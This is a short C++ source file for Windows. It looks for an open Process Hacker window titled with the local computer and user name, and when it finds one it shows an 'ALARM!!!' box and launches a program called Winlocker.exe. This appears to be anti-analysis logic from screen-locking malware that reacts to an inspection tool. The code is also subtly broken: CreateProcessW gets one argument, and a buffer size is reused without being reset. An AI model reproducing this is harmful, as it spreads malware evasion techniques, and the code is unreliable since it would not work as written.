#include <Windows.h>
int main()
{
WCHAR txt[128] = L"Process Hacker [";
DWORD size = 32;
WCHAR szCompName[32];
GetComputerNameW(szCompName, &size);
wcscat_s(szCompName, L"\\");
WCHAR szUserName[32];
GetUserNameW(szUserName, &size);
wcscat_s(szUserName, L"]");
wcscat_s(szCompName, szUserName);
wcscat_s(txt, szCompName);
HWND findProcessHacker = FindWindowW(NULL, txt);
if (findProcessHacker)
{
MessageBoxW(NULL, L"ALARM!!!", L"Found", MB_OK);
CreateProcessW(L"Winlocker.exe");
}
return 0;
}